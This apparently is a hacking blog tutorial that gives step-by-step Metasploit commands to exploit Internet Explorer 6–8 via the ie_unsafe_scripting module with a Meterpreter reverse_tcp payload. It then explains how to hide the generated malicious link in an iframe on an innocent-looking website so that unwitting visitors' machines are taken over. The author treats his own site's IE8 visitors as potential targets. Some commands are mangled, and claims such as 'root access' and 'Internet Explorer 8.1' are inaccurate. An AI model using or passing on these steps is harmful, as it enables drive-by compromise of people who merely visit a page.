How To Hack: Exploit IE8 to Get Root Access When People Visit Your Website

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Most of my hacks up to this point have been operating system hacks. In other words, we have exploited a vulnerability usually in an operating system service (SMB, RPC, etc.) that will allow us to get into the computer for control.

As I have mentioned numerous times previously, the art of hacking is presently focused on attacking the client side rather than the server side. Server OS’s have become more secure, while clients are loaded with insecure software that can be more easily exploited. So, as you would expect, the best hacks are now coming at the client side software.

Here, I will begin to explore ways to hack the client side of the equation. Just as a background note, nearly all of these hacks I have shown you so far are buffer overflows. In other words, we find a variable in the system software that can be overflowed with too much information and jam our software behind it (kind of oversimplified, but you get the idea, I think).

Hacking IE8 for Root Access

In this hack, we will exploit Microsoft’s Internet Explorer 6, 7, and 8 on Windows XP, Vista, Windows 7 or Windows Server 2003 and 2008.

Now, you might be thinking to yourself, “Why would I want to exploit such an old browser?One that is multiple generations out-of-date…” When Windows 7 and Windows Server 2008 were released, the default browser was IE8, so unless the target has upgraded their browser, this vulnerable browser is still on their system and we can hack it. In our example, we will use IE 8 on Windows Vista, but it will work on any of the operating systems listed above with Internet Explorer 8.1 or earlier on it. In fact, I just went and looked at my Google analytics for the website you are on right now. Here is a breakdown for the last month, including IE 10, 9, and 8:


As you can see, IE 8 was used more often than 9! And, 10 is only used about twice as much. Anyway, the point is 175 people came to my site this month that are vulnerable to what we are about to talk about.

So, let’s get started. Fire up your Metasploit (click HERE to learn more about Metasploit, Cobalt Strike, and Armitage) on Back Track (Also available on Kali [Download], or Download Metasploit and install yourself) and let’s get cooking!

Step 1: Find the Appropriate Exploit

Let’s find the appropriate exploit by searching Metasploit for a Windows exploit that takes advantage of unsafe scripting. Type:

msf> search type:exploit platform:windows unsafe

As you can see from the screenshot below, this search brought 15 exploits. The one we want is /exploit/windows/browser/ie_unsafe_scripting.

Step 2: Select This Exploit

Next tell Metasploit that this is the exploit we want to use. Type:

msf> use /exploit/windows/browser/i.e._unsafe_scripting

Step 3: Select the Payload

Then load the payload, in this case, windows/meterpreter/reverse_tcp:

msf> set PAYLOAD windows/meterpreter/reverse_tcp

Step 4: Check Required Options

Next, let’s check to see what options this exploit requires:

msf> show options

We can see from the output displayed above that the payload requires us to set local host (LHOST), or in other words, the IP address of our machine. In my case, it’s

Step 5: Set Local Host

We need to tell Metasploit what our local host (LHOST) IP address is. Type:

msf> set LHOST

Note: I will tell you that I am testing this on a LAN, so my IP is a local If your address starts with or 10.0.0.x, you will need to setup port-forwarding from the outside of your router to your inside LAN address. In that case, you would tell metasploit that your lhost is the Router’s WAN address.

Because this is a client-side exploit, we don’t need to set the RHOST as we need to manually attack the system by getting them to click on our malicious link.

Step 6: Run the Exploit

Now, let’s run the exploit. Type:

msf> exploit (ie_unsafe_scripting) > exploit

As you can see in the screenshot below, this exploit has generated a link ( ) that we will have to get our targets to load so we can exploit their browser. To do this, we’ll add a little HTML to an innocent looking webpage.

Step 7: Add the URL to an <IFRAME> Tag

In order to get your target’s browser to load your malicious URL, you can either send it to them directly, or embed it in an iframe on your perfectly innocent website. To do so, just add the following tag to your html anywhere inside the <body> element:

<iframe src=” “></iframe>

When the victim tries to load the page, nothing will be displayed. The browser will hang, but we will have activity at our msfconsole. When the victim navigates to the link it will open a active Meterpreter session that we are connected to. We now own this box! Wasn’t that simple?

I will showing you more client-side hacks in future blogs, so follow me and we will occupy the web!

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